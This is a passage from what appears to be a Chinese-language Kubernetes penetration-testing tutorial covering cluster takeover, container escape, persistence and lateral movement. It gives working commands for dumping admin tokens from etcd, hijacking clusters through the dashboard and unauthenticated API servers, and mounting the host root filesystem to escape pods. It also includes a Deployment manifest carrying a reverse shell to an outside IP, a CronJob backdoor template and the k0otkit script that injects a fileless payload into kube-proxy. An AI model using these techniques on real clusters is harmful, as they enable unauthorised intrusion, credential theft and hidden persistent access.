export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
或者直接執行:
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
我們可以直接在etcd里查詢(xún)管理員的token,然后使用該token配合kubectl指令接管集群。
etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/

如果查詢(xún)結果有敏感賬戶(hù),我們便可以去獲取他的token
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

拿到token以后,用kubectl接管集群
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods
也可以嘗試dump etcd數據庫,然后去找敏感信息
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
如果服務(wù)器啟用了https,需要加上兩個(gè)參數忽略證書(shū)校驗 --insecure-transport --insecure-skip-tls-verify
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
舉個(gè)例子,如果一個(gè)企業(yè)它的許多云上應用都是用的自建的私有鏡像搭建的,有一天它私有鏡像泄露出來(lái)了,我們就可以通過(guò)審計等手段去挖掘私有鏡像中的漏洞,造成供應鏈打擊。
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當導致dashboard未授權訪(fǎng)問(wèn)漏洞的情況下,通過(guò)dashboard我們可以控制整個(gè)集群。
默認配置登陸是需要輸入 Token 的且不能跳過(guò)

但是如果在配置參數中添加了如下參數,那么在登陸的過(guò)程中就可以進(jìn)行跳過(guò) Token 輸入環(huán)節
- --enable-skip-login

點(diǎn)擊Skip進(jìn)入dashboard實(shí)際上使用的是Kubernetes-dashboard這個(gè)ServiceAccount,如果此時(shí)該ServiceAccount沒(méi)有配置特殊的權限,是默認沒(méi)有辦法達到控制集群任意功能的程度的。

給Kubernetes-dashboard綁定cluster-admin:
apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: dashboard-1 subjects: - kind: ServiceAccount name: k8s-dashboard-kubernetes-dashboard namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io

綁定完成后,再次刷新 dashboard 的界面,就可以看到整個(gè)集群的資源情況。

獲取訪(fǎng)問(wèn)后直接創(chuàng )建特權容器即可getshell
這個(gè)技術(shù)是綜合了執行、持久化、權限提升的一個(gè)攻擊方法,為了省事,就放在這里一塊說(shuō)了。
首先,在我們獲取了api server控制權后,我們可以創(chuàng )建Pod,并在Pod內部執行命令。如果我們在創(chuàng )建Pod時(shí),將Node節點(diǎn)的根目錄掛載到Pod的某個(gè)目錄下,由于我們能在Pod內部執行命令,所以我們可以修改掛載到Pod下的Node節點(diǎn)根目錄中文件的內容,如果我們寫(xiě)入惡意crontab、web shell、ssh公鑰,便可以從Pod逃逸到宿主機Node,獲取Node控制權。
具體復現如下
先創(chuàng )建一個(gè)惡意Pod
首先我們創(chuàng )建惡意Pod,可以直接創(chuàng )建Pod,也可以用Deployment創(chuàng )建。 既然提到創(chuàng )建Pod,那么就多提一句:直接創(chuàng )建Pod和用Deployment創(chuàng )建Pod的區別是什么? Deployment可以更方便的設置Pod的數量,方便Pod水平擴展。 Deployment擁有更加靈活強大的升級、回滾功能,并且支持滾動(dòng)更新。 使用Deployment升級Pod只需要定義Pod的最終狀態(tài),k8s會(huì )為你執行必要的操作。 如果創(chuàng )建一個(gè)小玩意,那么直接創(chuàng )建Pod就行了,沒(méi)必要用deployment。
用Pod創(chuàng )建
apiVersion:v1
kind:Pod
metadate:
name:evilpod
spec:
containers:
- image:nginx
name:container
volumeMounts:
- mountPath:/mnt
name:test-volume
volumes:
- name: test-volume
hostPath:
path:/用deployment創(chuàng )建
apiVersion: apps/v1
kind:Deployment
metadata:
name:nginx-deployment
labels:
apps:nginx-test
spec:
replicas:1
selector:
matchLabels:
app:nginx
template:
metadata:
labels:
app:nginx
spec:
containers:
- image:nginx
name:container
volumeMounts:
- mountPath : /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /將以上文本寫(xiě)入到一個(gè)yaml文件中,然后執行
kubectl apply -f xxxxx.yaml 如果是api server未授權打進(jìn)去的,可能要通過(guò)-s參數設置一下api server的ip和地址: kubectl -s http://master_ip:8080 command 這里再多嘴一句 kubectl apply 和 kubectl create 這兩個(gè)命令的區別: 兩個(gè)命令都可以用于創(chuàng )建pod,apply更傾向于”維護資源“,可以用于更新已有Pod;而create更傾向于”直接創(chuàng )建“,不管三七二十一給我創(chuàng )建就完事了簡(jiǎn)而言之,當一個(gè)資源已經(jīng)存在時(shí),用create會(huì )報錯,而apply不會(huì )報錯
惡意容器就創(chuàng )建好了
創(chuàng )建好了后使用命令 kubectl get pods 獲取惡意pod的名字
然后使用命令 kubectl exec -it evilpodname /bin/bash 進(jìn)入pod內部shell,然后向掛載到Pod內部的Node根目錄中寫(xiě)入惡意crontab/ssh公鑰/webshell即可拿到node的shell。
大致流程一張圖表示如下

k8s有兩種賬戶(hù):用戶(hù)賬戶(hù)和服務(wù)賬戶(hù),用戶(hù)賬戶(hù)被用于人與集群交互(如管理員管理集群),服務(wù)賬戶(hù)用于Pod與集群交互(如Pod調用api server提供的一些API進(jìn)行一些活動(dòng))
如果我們入侵了一臺有著(zhù)高權限服務(wù)賬戶(hù)的Pod,我們就可以用它對應的服務(wù)賬戶(hù)身份調用api server向集群下達命令。
pod的serviceaccount信息一般存放
于/var/run/secrets/kubernetes.io/serviceaccount/目錄下
但是默認的user或者service account并不具備任何權限
這是默認情況下,一個(gè)pod使用自身service account(默認為當前命名空間的default賬戶(hù))去請求api server返回的結果,可以發(fā)現是沒(méi)有權限的:
$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN"
"https://192.168.111.20:6443/version/"
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "version is forbidden: User
\"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"kind": "version"
},
"code": 403那么我現在創(chuàng )建一個(gè)高權限service account 并使其與一個(gè)Pod相關(guān)聯(lián),來(lái)復現一下這個(gè)攻擊手法
首先創(chuàng )建一個(gè)高權限service account
kubectl create serviceaccount niubi #創(chuàng )建service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理員組,相當于給了它高權限
然后將service account與pod相關(guān)聯(lián)
在創(chuàng )建Pod的yaml文件中的spec項中輸入 serviceAccountName: niubi

再試一下,發(fā)現可以調用api server了

這里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。
如何在Node中持久化,在上一小節中已經(jīng)提到過(guò)一些:通過(guò)寫(xiě)入crontab,ssh公鑰,webshell實(shí)現,但個(gè)人覺(jué)得這幾個(gè)手段與其說(shuō)是持久化,不如說(shuō)是權限提升更符合實(shí)際一點(diǎn),因為這幾個(gè)手段在實(shí)際滲透中都是為了從Pod逃逸出來(lái)獲取Node權限。
同時(shí),在Pod,Node,Master上做持久化,有大部分方法本質(zhì)上是“如何在linux機器上做持久化”,而“如何在linux機器上做持久化”方法就太多了,這里就只著(zhù)重于講述在“云環(huán)境”里獨有的持久化方法。
如果接管了對方的私有鏡像庫,我們便可以直接在其對象Dockerfile中塞入惡意指令(反彈shell等)
或者編輯鏡像的文件層代碼,將鏡像中原始的可執行文件或鏈接庫文件替換為精心構造的后門(mén)文件之后再次打包成新的鏡像。
包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授權etcd、暴露未授權kubelet等修改集群配置文件達到持久化的方法。
部署一個(gè)額外的未授權且不記錄日志的api server以供我們進(jìn)行持久化。
我們可以用github上專(zhuān)門(mén)用于k8s滲透的工具cdk(這個(gè)工具很屌)來(lái)做到這一點(diǎn)
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver
創(chuàng )建容器時(shí),通過(guò)啟用 DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經(jīng)常利用這個(gè)特性進(jìn)行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController 確保在任何時(shí)候都有特定數量的 Pod 副本處于運行
狀態(tài)。
● Replication Set(RS)
Replication Set簡(jiǎn)稱(chēng)RS,官方已經(jīng)推薦我們使用 RS 和 Deployment 來(lái)代替 RC 了,實(shí)際上 RS 和 RC 的功能基本一致,目前唯一的一個(gè)區別就是RC 只支持基于等式的 selector。
● Deployment
主要職責和 RC 一樣,的都是保證 Pod 的數量和健康,二者大部分功能都是完全一致的,可以看成是一個(gè)升級版的 RC 控制器。官方組件 kube-dns、kube-proxy 也都是使用的Deployment來(lái)管理。
這里使用Deployment來(lái)部署后門(mén)
#dep.yaml
apiVersion: apps/v1
kind: Deployment #確保在任何時(shí)候都有特定數量的Pod副本處于運行狀態(tài)
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本數量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反彈Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特權模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#創(chuàng )建
kubectl create -f dep.yaml這里介紹一個(gè) k8s 的 rootkit,k0otkit 是一種通用的后滲透技術(shù),可用于對 Kubernetes 集群的滲透。使用 k0otkit,您可以以快速、隱蔽和連續的方式(反向 shell)操作目標 Kubernetes 集群中的所有節點(diǎn)。
K0otkit使用到的技術(shù):
●DaemonSet和Secret資源(快速持續反彈、資源分離)
● kube-proxy鏡像(就地取材)
● 動(dòng)態(tài)容器注入(高隱蔽性)
● Meterpreter(流量加密)
● 無(wú)文件攻擊(高隱蔽性)
#生成k0otkit ./pre_exp.sh #監聽(tīng) ./handle_multi_reverse_shell.sh
k0otkit.sh的內容復制到master執行:
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" | kubectl --kubeconfig /root/.kube/config replace -f -CronJob用于執行周期性的動(dòng)作,例如備份、報告生成等,攻擊者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob對象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分鐘執行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反彈Shell或者木馬
restartPolicy: OnFailure指從pod拿到Node的shell,或者拿到集群控制權。
上面的小節提到過(guò)一些,比如kubectl未授權、docker.sock、掛載目錄、高權限Service account等方法。
除此之外還有Docker、k8s的一些CVE
Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811
k8s提權到接管集群的如CVE-2018-1002105,CVE-2020-8558
docker逃逸可以看之前總結的容器逃逸相關(guān)文章,這里說(shuō)一下特權容器逃逸
當容器啟動(dòng)加上--privileged選項時(shí),容器可以訪(fǎng)問(wèn)宿主機上所有設備。
而K8s配置文件啟用了privileged: true:
spec: containers: - name: ubuntu image: ubuntu:latest securityContext: privileged: true
實(shí)戰案例:
通過(guò)漏洞獲取WebShell,查看根目錄存在.dockerenv,可通過(guò)fdisk -l查看磁盤(pán)目錄,進(jìn)行掛載目錄逃逸:
#Webshell下操作 fdisk -l mkdir /tmp/test mount /dev/sda3 /tmp/test chroot /tmp/test bash
● 內網(wǎng)掃描
● K8s常用端口探測
● 集群內部網(wǎng)絡(luò )



10.244.0.0/16網(wǎng)絡(luò ),Calico默認使用192.168.0.0/16網(wǎng)絡(luò ),如果出現在這些網(wǎng)段中(特別是10.244網(wǎng)段)那么

Kubernetes的網(wǎng)絡(luò )中存在4種主要類(lèi)型的通信
● 同一Pod內的容器間通信
● 各Pod彼此間通信
● Pod與Service間的通信
● 集群外部的流量與Service間的通信。
所以和常規內網(wǎng)滲透無(wú)區別,nmap、masscan等掃描
● Flannel網(wǎng)絡(luò )插件默認使用10.244.0.0/16網(wǎng)絡(luò )
●Calico默認使用192.168.0.0/16網(wǎng)絡(luò )
通常來(lái)說(shuō),拿到kubeconfig或者能訪(fǎng)問(wèn)apiserver的ServiceAccount token,就代表著(zhù)控下了整個(gè)集群。
但往往在紅隊攻擊中,我們常常要拿到某一類(lèi)特定重要系統的服務(wù)器權限來(lái)得分。前面我們已經(jīng)可以在節點(diǎn)上通過(guò)創(chuàng )建pod來(lái)逃逸,從而獲得節點(diǎn)對應主機的權限,那么我們是否能控制pod在指定節點(diǎn)上生成,逃逸某個(gè)指定的Node或Master節點(diǎn)。
一般來(lái)說(shuō)我們部署的Pod是通過(guò)集群的自動(dòng)調度策略來(lái)選擇節點(diǎn)的,但是因為一些實(shí)際業(yè)務(wù)的需求可能需要控制某些pod調度到特定的節點(diǎn)。就需要用到 Kubernetes 里面的一個(gè)
概念:親和性和反親和性。
親和性又分成節點(diǎn)親和性( nodeAffinity )和 Pod 親和性( podAffinity )。
節點(diǎn)親和性主要是用來(lái)控制 pod 要部署在哪些主機上,以及不能部署在哪些主機上的,演示一下:
查看node的label命令
kubectl get nodes --show-labels
給節點(diǎn)打上label標簽
kubectl label nodes k8s-node01 com=justtest node/k8s-node01 labeled
當node 被打上了相關(guān)標簽后,在調度的時(shí)候就可以使用這些標簽了,只需要在 Pod 的spec字段中添加 nodeSelector 字段
apiVersion: v1
kind: Pod
metadata:
name: node-scheduler
spec:
nodeSelector:
com: justtestpod 親和性主要處理的是 pod 與 pod 之間的關(guān)系,比如一個(gè) pod 在一個(gè)節點(diǎn)上了,那么另一個(gè)也得在這個(gè)節點(diǎn),或者你這個(gè) pod 在節點(diǎn)上了,那么我就不想和你待在同一個(gè)節點(diǎn)上。
節點(diǎn)親和性是 Pod的一種屬性,它使 Pod 被吸引到一類(lèi)特定的節點(diǎn)。 污點(diǎn)(Taint)則相反——它使節點(diǎn)能夠排斥一類(lèi)特定的 Pod。
污點(diǎn)標記選項:
我們使用kubeadm搭建的集群默認就給 master 節點(diǎn)(主節點(diǎn))添加了一個(gè)污點(diǎn)標記,所以我們看到我們平時(shí)的 pod 都沒(méi)有被調度到master 上去。除非有Pod能容忍這個(gè)污點(diǎn)。而通常容忍這個(gè)污點(diǎn)的 Pod都是系統級別的Pod,例如kube-system


給指定節點(diǎn)標記污點(diǎn) taint :
kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule

上面將 k8s-node01 節點(diǎn)標記為了污點(diǎn),影響策略是 NoSchedule,只會(huì )影響新的 pod 調度。
由于 node01節點(diǎn)被標記為了污點(diǎn)節點(diǎn),所以我們這里要想 pod 能夠調度到 node01節點(diǎn)去,就需要增加容忍的聲明

使用污點(diǎn)和容忍度能夠使Pod靈活的避開(kāi)某些節點(diǎn)或者將某些Pod從節點(diǎn)上驅逐。
詳細概念可以參考官網(wǎng)文檔:污點(diǎn)和容忍度 | Kubernetes
比如要想獲取到master節點(diǎn)的shell,則可以從這兩點(diǎn)考慮
查看k8s-master的節點(diǎn)情況,確認Master節點(diǎn)的容忍度:

創(chuàng )建帶有容忍參數并且掛載宿主機根目錄的Pod
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
volumes:
- name: test-volume
hostPath:
path: /kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash


之后按照上面逃逸node01節點(diǎn)的方式寫(xiě)入ssh公鑰即可getshell。

https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA
https://www.const27.com/2022/03/13/k8s安全 入門(mén)學(xué)習/ (k8s基礎、攻擊矩陣)
https://paper.seebug.org/1803/(k8s攻擊矩陣)
https://xz.aliyun.com/t/11316 (K8S云原生環(huán)境滲透學(xué)習)
https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后滲透橫向節點(diǎn)與持久化隱蔽方式探索)
https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA
https://kuboard.cn/learning/(非常好的中文教程)
https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有點(diǎn)不好的是有些地方?jīng)]有中文)
永遠相信 永遠熱愛(ài)
聯(lián)系客服